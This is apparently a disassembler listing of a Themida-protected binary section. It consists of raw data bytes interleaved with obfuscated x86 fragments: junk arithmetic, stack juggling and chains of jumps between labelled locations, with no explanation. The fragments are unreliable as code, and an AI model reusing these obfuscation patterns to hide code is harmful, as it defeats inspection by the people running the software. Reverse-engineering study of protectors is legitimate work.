dd 8100006Bh, 4C6h, 74FF5600h, 8F5E0424h, 0E95C2404h, 530Fh
dd 0FF2434FFh, 6DE92434h
db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56792F: ; CODE XREF: Themida_:00575B9Aj
pop ebp
xor ebp, esi
jmp loc_571767
; ---------------------------------------------------------------------------
loc_567937: ; CODE XREF: Themida_:0056C138j
mov ebp, ecx
pop ecx
jmp loc_568171
; ---------------------------------------------------------------------------
db 4
dd 241C8B21h, 5304C483h, 0E780DDB7h, 0F6EF86F5h, 0F3D6E9D5h
dd 815FFFFFh, 4C5h, 0FCEFE900h, 1C87FFFFh, 89665C24h, 0D3E92404h
db 96h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56796F: ; CODE XREF: Themida_:00564804j
add eax, edx
pop edx
add esi, eax
pop eax
add esi, 4
xor esi, [esp]
xor [esp], esi
jmp loc_568234
; ---------------------------------------------------------------------------
loc_567983: ; CODE XREF: Themida_:00572C7Ej
and esi, eax
pop eax
xor esi, 3F557C19h
push ecx
mov ecx, 3DE84A92h
add ecx, 1A1512C3h
sub esi, ecx
mov ecx, [esp]
push ecx
jmp loc_564B01
; ---------------------------------------------------------------------------
db 88h
dd 241C8BFEh, 4C481h, 47E90000h
db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5679B3: ; CODE XREF: Themida_:0057023Cj
mov edx, esi
pop esi
xor edx, esi
pop esi
add edx, 63511436h
jmp loc_568A64
; ---------------------------------------------------------------------------
loc_5679C4: ; CODE XREF: Themida_:005719BCj
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push dword ptr [edi+1Ch]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push 6B35h
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_57469E
; ---------------------------------------------------------------------------
dw 0E089h
dd 405h, 42D00h, 33E90000h, 1FFFFB3h, 0EB835EF3h, 74FF5304h
dd 8F5B0424h, 895C2404h, 0B450241Ch, 2B31E912h, 0C3010000h
dd 6C38158h, 0E9F86A70h, 0FFFFA487h, 665BFA88h, 83240C8Bh
dd 536602C4h, 31BB68h, 24048900h, 52D38853h, 0F488DE88h
dd 8324148Bh, 0D2E904C4h, 8F00000Eh, 685C2404h, 6C0Ah
dd 54243489h, 53C2E95Eh, 0DD280000h, 0D9C5805Bh, 8059EB88h
dd 0F380BAEBh, 0D53DE941h, 0BF570000h, 8AA2CBEh, 0C524EF81h
dd 0FA01B0EFh, 0B08FE9h, 1C895C00h, 81E38924h, 4C3h, 5A545200h
dd 0A380E953h, 0E289FFFFh, 775068h, 242C8900h, 75AAE9h
dd 0E9515C00h, 0AE50h
; ---------------------------------------------------------------------------
loc_567AC0: ; CODE XREF: Themida_:005624FBj
mov edx, [esp]
add esp, 4
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_575005
; ---------------------------------------------------------------------------
aYUxsH db 'Y ãXé;H',0
dw 5400h
dd 8124048Fh, 42404h, 348B0000h, 4C48324h, 46FDBF57h, 0EF810B5Ch
dd 0B5C46F9h, 0CFE9FE01h, 0F70000E7h, 2DE8D1D8h, 7EFC3B34h
dd 1DE9C101h, 0F70000EFh, 38E781DFh, 81712811h, 215013CFh
dd 0EF814F03h, 0ECFFAE4h, 595FFA01h, 4265E9h, 240C3100h
dd 8B240C33h, 0A9682424h, 89000046h, 32E92404h
db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_567B4B: ; CODE XREF: Themida_:00571C5Bj
push esi
push ebp
push esi
push 5A532730h
jmp loc_5720AD
; ---------------------------------------------------------------------------
dd 592434FFh, 0A51BE955h, 5059FFFFh, 0A3D3E9h, 14F75700h
dd 243C8B24h, 0E8F8E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567B76: ; CODE XREF: Themida_:005728B4j
mov [esp], ebp
mov ebp, 64BC0E8Ch
push 6DDCh
mov [esp], ebp
xor [esp], edx
xor edx, [esp]
jmp loc_5623D7
; ---------------------------------------------------------------------------
loc_567B91: ; CODE XREF: Themida_:0056728Ej
push ebp
jmp loc_56C59E
; ---------------------------------------------------------------------------
db 0B8h
dd 62230F2Eh, 66F91F05h, 0FFC101AFh, 7AE92434h, 290000CDh
dd 0E2C281EAh, 5D77EC52h, 26FFE9h
db 0
; ---------------------------------------------------------------------------
loc_567BB9: ; CODE XREF: Themida_:00573B1Bj
pop ebx
push esi
xor dword ptr [esp], 7E2F0F50h
pop edx
xor edx, 7E2F0F50h
jmp loc_57588C
; ---------------------------------------------------------------------------
aZaLsxo db '(ÓZ€ÃLéåO',0
db 0
; ---------------------------------------------------------------------------
loc_567BD9: ; CODE XREF: Themida_:00573743j
mov edx, 27B728E1h
neg edx
shr edx, 7
jmp loc_5685DF
; ---------------------------------------------------------------------------
dd 3B7AF781h, 814715E9h, 2B510AF7h, 5FF93105h, 8759CA01h
dd 0F9E92414h
db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_567C03: ; CODE XREF: Themida_:00570C86j
push 629C4B16h
jmp loc_567F57
; ---------------------------------------------------------------------------
loc_567C0D: ; CODE XREF: Themida_:0056EC52j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_576746
; ---------------------------------------------------------------------------
db 81h
dd 4C6h, 24348700h, 26C9685Ch, 70E90000h, 0BFFFFFBCh, 1C305EC7h
dd 8ED868B9h, 8BF92924h, 0C481243Ch, 4, 0C158C131h, 0E18104E9h
dd 0C704D0Fh, 1F5668h, 24348900h, 760A67BEh, 0C8B95107h
dd 811C6B0Dh, 4C2FB1E9h, 8149415Ch, 37D817E9h, 59CE3156h
dd 0C15EF109h, 0BD5505E9h, 0FC8B7799h, 543C181h, 5FE936CDh
dd 2D0000D1h, 4, 0E9240433h, 0A79Eh, 6858C321h, 503Eh
dd 0E9240C89h, 0FFFFEAE1h
; ---------------------------------------------------------------------------
loc_567CA8: ; CODE XREF: Themida_:005643FBj
pop dword ptr [esp]
pop esp
mov [esp], esi
jmp loc_56AE88
; ---------------------------------------------------------------------------
dd 0F07267BBh, 0FEEB8135h, 813ED92Ch, 492FCCCBh, 6AF3811Bh
dd 0F77BD743h, 0A3E381DBh, 813D8517h, 0CD63F5F3h, 5BD92907h
dd 0C181D9F7h, 0CF8DB980h, 0FFE6B1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567CE9: ; CODE XREF: Themida_:005671A3j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add ecx, 66CD6CCFh
jmp loc_57452F
; ---------------------------------------------------------------------------
dd 5FF9895Bh, 3D40BD55h, 45454EA4h, 8307EDC1h, 0F58101C5h
dd 3D27156Ch, 25E9E901h, 1FFFFE7h, 348758C6h, 0D6F65C24h
dd 0EE80D6F6h, 0B35366FFh, 0E9DE006Bh, 0B29Dh, 0C181E189h
dd 4, 0CCAAE9h, 0F1815900h, 5EE91E4Ah, 7DEBE9h, 242C8900h
dd 0C581E589h, 4, 4BA52h, 0ED810000h, 0C321D9Dh, 0BB53D501h
dd 0C321D9Dh, 30E9DD01h, 830000D7h, 0C8904ECh, 0A6BA5224h
dd 0B91E2839h, 50F202D9h, 0E95AD131h, 0FFFFC696h, 582434FFh
dd 5E08950h, 4, 7B8AE9h, 24143100h, 8B241433h, 0FE682424h
dd 8900004Bh, 0E9E92404h, 5C000002h, 83DEE9h, 5CE95200h
dd 5C00002Fh, 89243489h, 7D2A68E6h, 14890000h, 4F5AE924h
dd 0D1F70000h, 5B240C87h, 814BEBD1h, 0F94DBDC3h, 90F3813Fh
dd 55840DC2h, 9CA8E9h
db 0
; ---------------------------------------------------------------------------
loc_567DF5: ; CODE XREF: Themida_:00575B8Fj
add edi, 5BCE4073h
dec edi
sub edi, 0FFFFFFFFh
or edi, 5207144Ah
and edi, 59AF151Fh
xor edi, 10E277C4h
add ecx, edi
pop edi
add ecx, esi
sub ecx, 48E562CEh
pop esi
push ebx
jmp loc_5686CA
; ---------------------------------------------------------------------------
dw 295Eh
dd 0F72959CEh, 26C7815Eh, 0E96F7515h, 0FFFFDFD5h
; ---------------------------------------------------------------------------
loc_567E38: ; CODE XREF: Themida_:00570C12j
mov ebx, 1AE72088h
add esi, ebx
pop ebx
add esi, 0E9865617h
add edi, esi
pop esi
xchg edi, [esp]
pop esp
push dword ptr [esp]
pop edi
jmp loc_56602C
; ---------------------------------------------------------------------------
dw 0C89h
dd 7FF3B924h, 0A9E9691Dh, 53FFFFBBh, 42474FFh, 24048F5Bh
dd 6824248Bh, 0EB7h, 0AEE9E9h, 0EE95D00h
db 4Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_567E7F: ; CODE XREF: Themida_:00569DF5j
push ebx
mov ebx, 74200933h
jmp loc_562A84
; ---------------------------------------------------------------------------
dw 6850h
dd 0C572CADh, 6C322D58h, 0E3350F33h, 0F747056Ah, 2658E9D8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_567EA2: ; CODE XREF: Themida_:0057637Cj
pop ebx
jmp loc_56E9AD
; ---------------------------------------------------------------------------
loc_567EA8: ; CODE XREF: Themida_:0056E9AEj
mov eax, 6EAB7FDBh
sub ecx, eax
pop eax
push edi
jmp loc_563B33
; ---------------------------------------------------------------------------
dw 0BB66h
dd 7EE91AE3h, 81FFFFE7h, 4C6h, 4C68300h, 5C243487h, 660AC181h
dd 0D9015CE6h, 660AE981h, 0D8E95CE6h, 89FFFFA3h, 4B82404h
dd 81000000h, 0D4ED0EFh, 0E9C72947h, 93DCh, 0C281E289h
dd 4, 8704C283h, 875C2414h, 45FD87D7h, 7C3FB951h, 0CD317B4Eh
dd 5AE58159h, 5104DC0Fh, 0BA4F08B9h, 0ECE98124h, 0E9EB65ECh
dd 0FFFFB1F0h, 8304C483h, 3C8904ECh, 68525524h, 4767126Ah
dd 1EA815Ah, 81000000h, 0F057ABF2h, 5AD58929h, 534EBD55h
dd 6C296DE7h, 0BEE90824h
db 83h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_567F57: ; CODE XREF: Themida_:00567C08j
mov ebp, [esp]
add esp, 4
push edi
push edx
push 1A39762Ch
pop edx
mov edi, edx
pop edx
push 3287h
jmp loc_56F4D4
; ---------------------------------------------------------------------------
dd offset dword_56D168
align 2
dw 0C89h
dd 4EAEB924h, 0CB2124A6h, 0F6C38159h, 0E9FB7DB3h, 7299h
dd 6BE95452h, 8BFFFFBCh, 0E5E92414h, 0FF0000ADh, 5B042474h
dd 8B24048Fh, 0C00B2424h, 2FE2840Fh, 50680000h, 89000025h
dd 8953242Ch, 0B072E9E3h, 8B66FFFFh, 0EC83240Ch, 24348904h
dd 24348B54h, 3321E9h, 66EF8100h, 10D206Ah, 66C781C7h
dd 580D206Ah, 4C781h, 3C870000h, 5668E924h, 0E7890000h
dd 4C781h, 32E90000h, 0FF000066h, 669D1C77h, 2414D259h
dd 9034E99Ch, 0C381FFFFh, 4, 5C241C87h, 4B850h, 0BFE90000h
db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_568023: ; CODE XREF: Themida_:00562A60j
pop esp
jmp loc_563F57
; ---------------------------------------------------------------------------
loc_568029: ; CODE XREF: Themida_:00566BF6j
mov [esp], ebp
push edx
push 4
pop edx
mov ebp, edx
mov edx, [esp]
add esp, 4
add ebx, ebp
mov ebp, [esp]
jmp loc_570C52
; ---------------------------------------------------------------------------
dd 575E5856h, 0FFFBDEE9h, 8BC830FFh, 5457240Ch, 4C7815Fh
dd 81000000h, 4C7h, 243C8700h, 3568665Ch, 0C896658h, 0E9E3B524h
dd 54E4h, 0EC83E589h, 24148904h, 7939E9h
db 0
; ---------------------------------------------------------------------------
loc_568085: ; CODE XREF: Themida_:0056DFE8j
mov [esp], ebx
mov bl, cl
mov dh, bl
jmp loc_57128A
; ---------------------------------------------------------------------------
db 81h, 0C1h, 0BBh
dd 0E9116D43h, 1095h, 0E9241C8Bh, 8A8Eh, 0FF8F99E9h, 51F701FFh
dd 0FB3D30B9h, 59CF014Ch, 5624348Bh, 0C681E689h, 4, 8704C683h
dd 31E92434h, 0FFFFFFDFh, 8F70E930h, 0C481FFFFh, 4, 0E904EC83h
dd 0A335h, 0E95EF031h, 9438h, 4EC81h, 18E90000h, 810000B4h
dd 4C6h, 3AC0E900h, 34FF0000h, 0D4E95E24h
db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_568107: ; CODE XREF: Themida_:00565DB8j
inc dh
mov ah, dh
jmp loc_566330
; ---------------------------------------------------------------------------
dd 2474FF51h, 48F5904h, 0D3E95C24h, 81FFFFC5h, 4F6309F3h
dd 0DE895630h, 5B5EF089h, 0ECE68h, 24148900h, 0FFC4B0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_568139: ; CODE XREF: Themida_:00565CC4j
push ecx
jmp loc_5637F5
; ---------------------------------------------------------------------------
loc_56813F: ; CODE XREF: Themida_:00572812j
push 416Bh
push esp
pop dword ptr [esp]
push eax
jmp loc_569065
; ---------------------------------------------------------------------------
dw 483h
dd 685A0424h, 171Eh, 0BF243C89h, 722A10F5h, 6FBB5352h
dd 0BA1BBA43h, 3908DBEEh, 613E9h
db 0
; ---------------------------------------------------------------------------
loc_568171: ; CODE XREF: Themida_:0056793Aj
sub ebx, ebp
pop ebp
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edi
sub esp, 4
mov [esp], esi
mov esi, 65A84139h
jmp loc_5742F5
; ---------------------------------------------------------------------------
dw 0C31h
dd 240C3324h, 6624248Bh, 9C240431h, 0FF8E91E9h, 0E68956FFh
dd 0FFBE58E9h, 7FE95CFFh
db 3Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5681BF: ; CODE XREF: Themida_:00568AFAj
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_56A0B1
; ---------------------------------------------------------------------------
dw 1489h
db '$h&',0Dh,0
align 2
dw 3489h
dd 4747BE24h, 67E90664h
db 89h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5681E3: ; CODE XREF: Themida_:00564004j
xchg eax, ecx
neg ecx
xchg eax, ecx
xor eax, 136A6CE6h
xor eax, 1B246D92h
push ebp
mov ebp, 9CEAED16h
sub eax, ebp
pop ebp
push edi
mov edi, 73955558h
shr edi, 8
neg edi
dec edi
jmp loc_56250A
; ---------------------------------------------------------------------------
db 66h
dd 9C241CF7h, 0FF8E2DE9h, 2BCB81FFh, 0F74B8F1Eh, 3FCB81DBh
dd 0F762145Ah, 0F4BA52DBh, 316F6047h, 0E9575AD3h, 9C75h
; ---------------------------------------------------------------------------
loc_568234: ; CODE XREF: Themida_:0056797Ej
xor esi, [esp]
mov esp, [esp]
jmp loc_56C0C4
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832414h, 13C6804h, 4890000h, 0DA12E924h, 6852FFFFh
dd 856h, 50241C89h, 9EE2E9h, 0F6EB8000h, 0C380F328h, 0B60F5AF6h
dd 8734FFC0h, 0FFB86EE9h, 240C89FFh, 0C1815954h, 4, 3304E983h
dd 0C31240Ch, 240C3324h, 0FFEC37E9h, 0DCCD81FFh, 8151D602h
dd 0C80E10EDh, 46C58150h, 316FCCBAh, 0E9415DE9h, 2B86h
dd 81525D54h, 4ECh, 1E2DE900h, 0CB010000h, 2507B850h, 0C3290164h
dd 0CFAE9h, 24048900h, 0FEB8h, 1C472100h, 958DE9h, 3651BD00h
dd 0EA29BC98h, 3EAC15Dh, 5084B951h, 1FE94D45h
db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5682EF: ; CODE XREF: Themida_:00570093j
pop dword ptr [esp]
mov esp, [esp]
push edi
sub esp, 4
jmp loc_56323C
; ---------------------------------------------------------------------------
db 0BAh, 8Fh, 0EEh
dd 0D7297D2Ah, 8BFB295Ah, 0C483243Ch, 0AAB7E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_568316: ; CODE XREF: Themida_:0056A00Dj
add edi, eax
pop eax
shl edi, 6
not edi
add edi, 1
jmp loc_5686DF
; ---------------------------------------------------------------------------
dw 41BDh
dd 81388476h, 7431FFE5h, 0E2C58103h, 0E902AA06h, 0C51Bh
dd 0FF8D01E9h, 0A8E956FFh
db 5Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_568347: ; CODE XREF: Themida_:00564F28j
mov ebp, [esp]
add esp, 4
push 118Ah
mov [esp], ecx
mov ebp, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
add [edi+24h], ebp
pop ebp
loc_56836B: ; CODE XREF: Themida_:0056F803j
push esi
jmp loc_56DE4A
; ---------------------------------------------------------------------------
db 81h, 0C5h, 23h
dd 5B1FB34Ch, 2474FF55h, 242C8B04h, 0AE2BE952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_568386: ; CODE XREF: Themida_:0056725Cj
mov ebp, 4
jmp loc_564ED8
; ---------------------------------------------------------------------------
dd 4AE9C601h, 0F7000045h, 0E99C241Ch, 0FFFF8CA2h, 0B6EA814Ah
dd 811C486Bh, 0CA7DB1C2h, 12C2811Ah, 6821C926h, 2B5Eh
dd 51243C89h, 6A013368h, 0D1F75960h, 1FEBC181h, 0E9506CA9h
dd 39A5h
; ---------------------------------------------------------------------------
loc_5683D0: ; CODE XREF: Themida_:0057635Aj
push ebp
push 6731h
mov [esp], esi
mov esi, 7B5E2DD5h
push esi
dec dword ptr [esp]
pop esi
shl esi, 2
sub esi, 0B56F9CBAh
mov ebp, esi
pop esi
jmp loc_565770
; ---------------------------------------------------------------------------
loc_5683F4: ; CODE XREF: Themida_:0056C35Dj
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_569C4C
; ---------------------------------------------------------------------------
db 68h, 1Dh, 0Dh
dd 0DCE90000h
db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56840F: ; CODE XREF: Themida_:0056E85Ej
add ebp, eax
jmp loc_56B8E6
; ---------------------------------------------------------------------------
dw 0E821h
dd 4EC815Dh, 89000000h, 0D5B9240Ch, 1539424h, 0AC82E9C8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56842E: ; CODE XREF: Themida_:005725D3j
sub ebx, ebp
jmp loc_575EA0
; ---------------------------------------------------------------------------
loc_568435: ; CODE XREF: Themida_:0056D950j
shr eax, 18h
xor eax, ecx
push 6D23h
jmp loc_572ED8
; ---------------------------------------------------------------------------
loc_568444: ; CODE XREF: Themida_:0056B7F9j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_56CF31
; ---------------------------------------------------------------------------
dd 4C481h, 0E0C10000h, 71AE3502h, 99E97E57h
db 1, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56846B: ; CODE XREF: Themida_:0056F920j
pop esi
push 375Fh
mov [esp], ebp
jmp loc_566B80
; ---------------------------------------------------------------------------
db 0B9h, 6Eh, 0D5h
dd 0CD019487h, 592434FFh, 0E904C483h, 0A2D9h, 8059CC20h
dd 0ECD0E8CCh, 8003B652h, 0EE8046F6h, 9F6AE903h, 0F381FFFFh
dd 0F754A8h, 6F25F381h, 0D889A9AAh, 5A18E95Bh, 14890000h
dd 57E28924h, 1E5DD0BFh, 399E904h, 0F7410000h, 6339E9D9h
dd 0F0010000h, 0E278A82Dh, 24348B7Ch, 5104C483h, 2B9h
dd 12BB5300h, 57E3166h, 1B401141h, 412DD829h, 8B1B4011h
dd 0C483241Ch, 326C0504h, 0C8014A25h, 25326C2Dh, 0EABB534Ah
dd 0F7385E0Eh, 2E3C1D3h, 945CE952h, 6850FFFFh, 7FC1h, 0BA068h
dd 24248900h, 4240483h, 8324048Fh, 58042404h, 47536856h
dd 3C890000h, 0C8BA5224h, 0F749E262h, 81E281DAh, 4A278067h
dd 0FFB080E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56854D: ; CODE XREF: Themida_:0056BFA1j
xor ebp, [esp]
pop esp
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_561042
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 0EFC0ECB7h, 0E9C7FE03h, 1367h
; ---------------------------------------------------------------------------
loc_568570: ; CODE XREF: Themida_:00576001j
pop esi
xchg edx, [esp]
pop esp
push 28C8h
mov [esp], ebx
push 2000h
mov ebx, [esp]
add esp, 4
and eax, ebx
push dword ptr [esp]
push dword ptr [esp]
pop ebx
push ebp
jmp loc_5619CB
; ---------------------------------------------------------------------------
loc_568597: ; CODE XREF: Themida_:00568BFDj
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_56D4E0
; ---------------------------------------------------------------------------
loc_5685B0: ; CODE XREF: Themida_:0056D993j
pop dword ptr [edi+20h]
add dword ptr [edi+20h], 0F448C3h
jmp loc_56AF8C
; ---------------------------------------------------------------------------
db 29h
dd 0E573E9FAh, 5759FFFFh, 0C7815F54h, 4, 4C781h, 3C870000h
dd 63E95C24h
db 8Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5685DF: ; CODE XREF: Themida_:00567BE3j
push edi
mov edi, 28AA1849h
sub edi, 4FBC124Eh
jmp loc_57268B
; ---------------------------------------------------------------------------
dd 0B1C1815Ah, 8158CF37h, 482657C1h, 0E9F1017Dh, 0CCC0h
dd 0D3968h, 241C8900h, 33081968h, 0A7E95B82h, 330000AAh
dd 1C31241Ch, 241C3324h, 4C4835Ch, 0B6F8E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56862A: ; CODE XREF: Themida_:005709F7j
push dword ptr [esp]
jmp loc_5725E6
; ---------------------------------------------------------------------------
dw 95Bh
dd 24348BF0h, 5504C483h, 4206CBBDh, 0E9E8017Eh, 6670h
dd 555EEA81h, 0F2015959h, 555EC281h, 685E5959h, 5BBAh
dd 0BF243C89h, 2, 11DBC281h, 0FA0166A3h, 11DBEA81h, 34FF66A3h
dd 89515F24h, 4C181E1h, 83000000h, 0C3304C1h, 240C3124h
dd 5C240C33h, 31241433h, 14332414h, 4285C24h, 0A3E99C24h
dd 81FFFF89h, 672C8EC6h, 2E6C115h, 89A0F681h, 0F521DCDFh
dd 2E5C15Eh, 0ED7E581h, 0C581257Eh, 35AA5A88h, 2D34A22Dh
dd 12BE970h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5686CA: ; CODE XREF: Themida_:00567E21j
mov ebx, 2
add ecx, ebx
pop ebx
xchg ecx, [esp]
mov esp, [esp]
push ebx
push eax
jmp loc_564BC2
; ---------------------------------------------------------------------------
loc_5686DF: ; CODE XREF: Themida_:00568321j
xor edi, 13C73422h
xor ecx, edi
pop edi
jmp loc_576AEE
; ---------------------------------------------------------------------------
db 0F6h, 0DAh, 80h
dd 0D48852F2h, 0CEB2525Ah, 0C2FEDAF6h, 1E63E9h, 4C68100h
dd 87000000h, 55C2434h, 31CE5001h, 9DCAE9h
db 0
; ---------------------------------------------------------------------------
loc_568715: ; CODE XREF: Themida_:00572615j
add esp, 4
jmp loc_570DEC
; ---------------------------------------------------------------------------
db 5Fh, 0FFh, 34h
dd 24348B24h, 4C481h, 89570000h, 4C781E7h, 83000000h, 3C8704C7h
dd 34FF5C24h, 89565824h, 4C681E6h, 81000000h, 4C6h, 24348700h
dd 0DCEAE9h
db 0
; ---------------------------------------------------------------------------
loc_568755: ; CODE XREF: Themida_:0056CE0Fj
dec ebx
add ebx, 7DA80FBEh
and ebx, 54A30BB3h
xor ebx, 658A51AEh
add ebx, 323C213Dh
add ebx, 6C398B38h
add ecx, ebx
pop ebx
jmp loc_56BC1E
; ---------------------------------------------------------------------------
dd 0E904C483h, 0FFFFFBEDh, 0E1E9DA01h
db 8Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56878B: ; CODE XREF: Themida_:00565D5Fj
add esp, 4
push edx
push dword ptr [esp+4]
mov edx, [esp]
push ebx
mov ebx, esp
jmp loc_5615D8
; ---------------------------------------------------------------------------
db 0BAh, 4, 0
dd 0C4E90000h
db 8, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5687AB: ; CODE XREF: Themida_:0056183Dj
pop eax
mov [edi+eax*4], bl
pop ebx
jmp loc_561042
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
dd 4240483h, 0FFB135E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5687C1: ; CODE XREF: Themida_:0056DAB8j
and ebx, 79B877E4h
sub ebx, 13134E50h
or ebx, 6C4077B3h
xor ebx, 70B14F4Ch
sub ebx, 0FE506E89h
add esi, ebx
mov ebx, [esp]
add esp, 4
sub esi, 373C2382h
jmp loc_5630C4
; ---------------------------------------------------------------------------
db 1, 0E8h, 56h
dd 6176857h, 0E95F12BAh, 0AAA7h, 2B8h, 58C10100h, 8B240C87h
dd 0C82C2424h, 0C804F800h, 34FF1F04h, 0D7EAE924h, 2DADFFFFh
dd 49906D20h, 0CA6851h, 2C890000h, 0F6BB5324h, 0F7024D07h
dd 0A8B951DBh, 318304FBh, 240C8BCBh, 8904C483h, 3B95BDDh
dd 1A4AC75h, 5389E9E9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_568856: ; CODE XREF: Themida_:00561583j
add bl, dh
pop dx
jmp loc_5757F4
; ---------------------------------------------------------------------------
db 0D1h
dd 1CC781EFh, 1FDF0D1h, 0B8505FFAh, 4, 8758C229h, 0B3E92414h
db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56887B: ; CODE XREF: Themida_:00566A50j
mov eax, 3CD277Fh
jmp loc_574261
; ---------------------------------------------------------------------------
db 68h, 0DDh, 0Dh
dd 8F540000h, 4812404h, 424h, 0E9565F00h, 0FFFFAAD3h, 8088B551h
dd 0D5F62DC5h, 3F9BE9h
db 0
; ---------------------------------------------------------------------------
loc_5688A9: ; CODE XREF: Themida_:005708D3j
xor ecx, ebp
pop ebp
jmp loc_566E63
; ---------------------------------------------------------------------------
loc_5688B1: ; CODE XREF: Themida_:00570C99j
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_575574
; ---------------------------------------------------------------------------
aISS db '‰,$éÎs',0
dd 8DEA8100h, 52F85DCBh, 21242C81h, 59086417h, 1721BA52h
dd 0C1810864h, 351E0E79h, 0E981D101h, 351E0E79h, 24148B5Ah
dd 81E68956h, 4C6h, 4C68300h, 31243433h, 34332434h, 24248B24h
dd 0D913E9h, 89575C00h, 4C781E7h, 0E9000000h, 0FFFF8E12h
dd 1B860566h, 2360E9h, 24148B00h, 0FFA3E7E9h, 241C8BFFh
dd 5204C483h, 88E18851h, 240C8BCAh, 4C481h, 0D3880000h
dd 325DE9h
db 0
; ---------------------------------------------------------------------------
loc_568949: ; CODE XREF: Themida_:00568FE3j
mov edx, 7AEB693Dh
mov esi, 26AD5345h
xor esi, edx
jmp loc_566299
; ---------------------------------------------------------------------------
dw 525Fh
dd 5793B850h, 74052458h, 2D3FA56Eh, 5BF19A09h, 4A58C289h
dd 18C1C281h, 0D10944EAh, 5A2434FFh, 81E78957h, 4C7h, 4C78100h
dd 87000000h, 0E95C243Ch, 0A037h, 24148B66h, 147E68h, 240C8900h
dd 0FFF397E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5689A5: ; CODE XREF: Themida_:0056BDC2j
neg ecx
jmp loc_571699
; ---------------------------------------------------------------------------
dd 24048B66h, 1AC468h, 24148900h, 24148B54h, 4C481h, 5EE90000h
dd 5CFFFF99h, 34FFD901h, 1324E924h, 29680000h, 89000062h
dd 75682404h, 58299E66h, 5DADE9h, 4EEC100h, 0BA69E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5689EE: ; CODE XREF: Themida_:0056DEC9j
or ebx, esi
mov esi, [esp]
jmp loc_5767EF
; ---------------------------------------------------------------------------
aXst db 'Xéâß',0
align 2
dw 1C87h
dd 0AC99E924h, 26B9FFFFh, 101A00Ch, 0BE5659CDh, 26060E0h
dd 0D721E9h, 48F5900h, 24248B24h, 0DFD1E9h
db 0
; ---------------------------------------------------------------------------
loc_568A25: ; CODE XREF: Themida_:00564CD2j
push 1262h
mov [esp], ebp
push edi
jmp loc_561F51
; ---------------------------------------------------------------------------
db 8Fh
dd 54502404h, 40558h, 0BB530000h, 4, 875BD829h, 0B1E92404h
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_568A4F: ; CODE XREF: Themida_:0056F5C1j
mov [esp], ecx
mov ecx, 1909133Fh
xor ecx, 268C022Bh
and esi, ecx
jmp loc_56CDAA
; ---------------------------------------------------------------------------
loc_568A64: ; CODE XREF: Themida_:005679BFj
sub edx, ebp
jmp loc_57517D
; ---------------------------------------------------------------------------
loc_568A6B: ; CODE XREF: Themida_:0056A533j
push esp
push dword ptr [esp]
jmp loc_572AE0
; ---------------------------------------------------------------------------
dd 241C8966h, 0FE8817B7h, 80AAE9h, 1C895C00h, 4DE924h
dd 1590000h, 0BF575AD0h, 742B0B01h, 0BDE2EF81h, 0A82DFE9Eh
dd 0E950934Ch, 4EC9h, 3304C483h, 1C31241Ch, 241C3324h
dd 0B9CCE95Ch, 0C681FFFFh, 4, 0FF894BE9h, 895258FFh, 4C281E2h
dd 83000000h, 148704C2h, 0B5E95C24h, 890000ABh, 0DD21E9E3h
dd 8F5EFFFFh, 0E95C2404h, 99C7h
; ---------------------------------------------------------------------------
loc_568AE8: ; CODE XREF: Themida_:0056C6B8j
pop edi
push edi
push 7C8Ah
mov [esp], eax
push 4
pop eax
push eax
pop edi
jmp loc_5681BF
; ---------------------------------------------------------------------------
db 5
